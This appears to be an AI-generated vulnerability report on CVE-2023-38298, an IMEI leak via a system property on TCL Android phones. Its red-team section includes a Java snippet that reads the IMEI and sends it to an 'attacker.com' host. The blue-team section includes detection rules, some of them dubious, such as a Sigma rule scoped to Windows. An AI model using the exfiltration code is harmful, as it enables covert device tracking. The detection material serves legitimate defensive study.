CVE-2023-38298

Executive Summary

CVE-2023-38298 identifies a critical information disclosure vulnerability in multiple TCL Android devices (30Z, A3X, 20XE, 10L). The vulnerability allows any local application, without any permissions or special privileges, to read the device’s IMEI by accessing the system property gsm.device.imei0. This bypasses Android 10+ restrictions that prevent third-party apps from directly obtaining non-resettable device identifiers. The IMEI is leaked by a high-privilege process, enabling indirect retrieval. The vulnerability affects specific software builds across the four device models, with no official patch currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in TCL Android devices, affecting the supply chain of mobile hardware and pre-installed system software. The exposure of IMEI through a system property undermines user privacy and can be exploited by malicious apps to track devices persistently.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – requires a malicious app installed on the device.
• Attack Complexity (AC): Low (L) – no special conditions needed.
• Privileges Required (PR): None (N) – no permissions required.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – the vulnerable component is the system property.
• Confidentiality (C): High (H) – IMEI is a sensitive identifier.
• Integrity (I): None (N) – no data modification.
• Availability (A): None (N) – no impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 6.2 (Medium)

Threat Level: Medium. The vulnerability requires local app installation, but no permissions, making it accessible to any app. The IMEI can be used for device tracking, fraud, or bypassing security controls.

Deep Dive & Mechanics

The vulnerability stems from TCL’s custom Android firmware, where the device IMEI is exposed via the system property gsm.device.imei0. In Android 10 and later, Google restricted direct access to non-resettable identifiers (like IMEI) for third-party apps. However, TCL’s high-privilege system processes leak this information into a readable system property.

Mechanism:

1. A malicious app installed on the device (e.g., from an untrusted source) reads the system property gsm.device.imei0.
2. This property is accessible without any permissions because it is exposed by a system-level service.
3. The app retrieves the IMEI, which is a unique hardware identifier that persists across factory resets.

Affected Devices and Builds:

• TCL 30Z: Multiple builds with Android 12 (SP1A.210812.016).
• TCL A3X: Multiple builds with Android 11 (RKQ1.201202.002).
• TCL 20XE: Two builds with Android 11 (RP1A.200720.011).
• TCL 10L: Two builds with Android 10/11 (QKQ1.200329.002 / RKQ1.210107.001).

The vulnerability is present in the system image, meaning it cannot be mitigated by app-level permissions. The only fix would be a firmware update from TCL.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The system property gsm.device.imei0 is set by a high-privilege process (e.g., system_server or telephony service) without restricting read access. In Android, system properties can be read by any process unless explicitly protected. The vulnerable code likely does:

SystemProperties.set("gsm.device.imei0", imei);

This makes the IMEI readable by any app via:

String imei = SystemProperties.get("gsm.device.imei0");

Patched Code (Hypothetical): A patch would either:

• Remove the exposure of IMEI via system properties entirely.
• Restrict read access to the property using SELinux policies or permission checks.
• Use a protected API that requires READ_PHONE_STATE permission.

Example patched approach:

// Only allow system apps with specific signature
if (checkCallingPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") == PERMISSION_GRANTED) {
    SystemProperties.set("gsm.device.imei0", imei);
}

Since no official patch is available, the vulnerable code remains in the wild.

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Prepare a malicious app: Create an Android app that reads the system property.
2. Code snippet:

   import android.os.SystemProperties;
   public class MainActivity extends AppCompatActivity {
       @Override
       protected void onCreate(Bundle savedInstanceState) {
           super.onCreate(savedInstanceState);
           setContentView(R.layout.activity_main);
           String imei = SystemProperties.get("gsm.device.imei0", "unknown");
           // Exfiltrate IMEI to remote server
           new Thread(() -> {
               try {
                   URL url = new URL("http://attacker.com/collect?imei=" + imei);
                   HttpURLConnection conn = (HttpURLConnection) url.openConnection();
                   conn.getInputStream();
               } catch (Exception e) { }
           }).start();
       }
   }
   

3. Install the app: On a vulnerable TCL device (e.g., TCL 30Z with build TCL/4188R/Jetta_ATT:12/SP1A.210812.016/LV8E:user/release-keys).
4. Run the app: The IMEI is read and sent to the attacker’s server.

Lab Setup:

• Device: TCL 30Z (or any listed vulnerable model) with the specific build fingerprint.
• Tools: Android Studio (to build the app), ADB (to install), and a web server to capture exfiltrated data.
• Command to check build fingerprint:

  adb shell getprop ro.build.fingerprint
  

Blue Team

Detection Steps:

1. Monitor for apps reading system properties: Use a custom Xposed module or Frida script to hook SystemProperties.get and log calls to gsm.device.imei0.
2. Network monitoring: Detect outbound connections containing the IMEI pattern (e.g., imei=...).
3. Static analysis: Scan APKs for references to gsm.device.imei0 or SystemProperties.get.

Lab Setup:

• Tools: Frida, Wireshark, MobSF (Mobile Security Framework).
• Frida script to detect IMEI access:

  Java.perform(function() {
      var SystemProperties = Java.use("android.os.SystemProperties");
      SystemProperties.get.overload('java.lang.String', 'java.lang.String').implementation = function(key, def) {
          if (key.indexOf("imei") >= 0) {
              console.log("[!] IMEI property accessed: " + key);
          }
          return this.get(key, def);
      };
  });
  

Indicators of Compromise (IOCs)

• System Property Access: gsm.device.imei0 read by any process.
• Network Traffic: HTTP/HTTPS requests containing imei= parameter to unknown domains.
• File System: No specific files, but malicious apps may have no permissions requested.
• Build Fingerprints (confirmed vulnerable):
  • TCL 30Z: TCL/4188R/Jetta_ATT:12/SP1A.210812.016/LV8E:user/release-keys
  • TCL A3X: TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vAAZ:user/release-keys
  • TCL 20XE: TCL/5087Z_BO/Doha_TMO:11/RP1A.200720.011/PB7I-0:user/release-keys
  • TCL 10L: TCL/T770B/T1_LITE:10/QKQ1.200329.002/3CJ0:user/release-keys

Detection Engineering

YARA Rule

rule CVE_2023_38298_IMEI_Leak {
    meta:
        description = "Detects apps attempting to read IMEI via gsm.device.imei0 system property"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-38298"
    strings:
        $s1 = "gsm.device.imei0" ascii wide nocase
        $s2 = "SystemProperties.get" ascii wide nocase
    condition:
        $s1 or $s2
}

Sigma Rule

title: CVE-2023-38298 IMEI Exfiltration via System Property
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects network traffic containing IMEI values exfiltrated from TCL devices
author: Valters IT
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 80 or 443
        Payload|contains: "imei="
    condition: selection
falsepositives:
    - Legitimate apps that use IMEI with user consent (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-38298 IMEI Exfiltration Attempt"; flow:to_server; content:"imei="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

• For users: Avoid installing apps from untrusted sources on vulnerable TCL devices. Use a firewall app to block outbound connections from unknown apps.
• For enterprises: Implement Mobile Device Management (MDM) policies to restrict app installation and monitor for suspicious behavior.

Long-term Fix:

• Vendor patch: TCL must release a firmware update that removes the IMEI from the system property or restricts access via SELinux policies.
• Workaround: Rooted users can modify the system property to return a dummy value, but this is not recommended for non-technical users.

Detection:

• Deploy the YARA and Sigma rules above to identify malicious apps.
• Monitor network traffic for IMEI exfiltration patterns.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.